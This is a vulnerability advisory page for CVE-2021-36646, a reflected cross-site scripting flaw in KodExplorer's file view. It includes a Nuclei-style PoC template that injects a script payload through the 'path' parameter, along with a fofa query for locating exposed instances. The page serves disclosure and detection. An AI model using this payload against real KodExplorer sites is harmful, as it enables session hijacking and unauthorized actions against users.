CVE-2021-36646: KodExplorer - Cross-Site Scripting

2025-08-01 KodExplorer PoC Public

Description

KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.

Details

CVE
CVE-2021-36646 · CVE.org
Severity
中危
Affected
KodExplorer
Published
PoC
Public

PoC

id: CVE-2021-36646

info:
  name: KodExplorer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/482
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36646
    cwe-id: CWE-79
    epss-score: 0.00806
    epss-percentile: 0.57361
  metadata:
    max-request: 2
    vendor: kalcaddle
    product: kod-explorer
    fofa-query: app="Powered-by-KodExplorer"
  tags: cve,cve2021,xss,kodexplorer,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "KodExplorer"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200bf6436c1115c40f84f38049e4e41d5a22b765f41cc60d3da93f85c2c65f39790220474ab2aeb8b5914464e3a33e9a0b9c11cc5615e3e8561aac0eebf3f82f91c3fe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life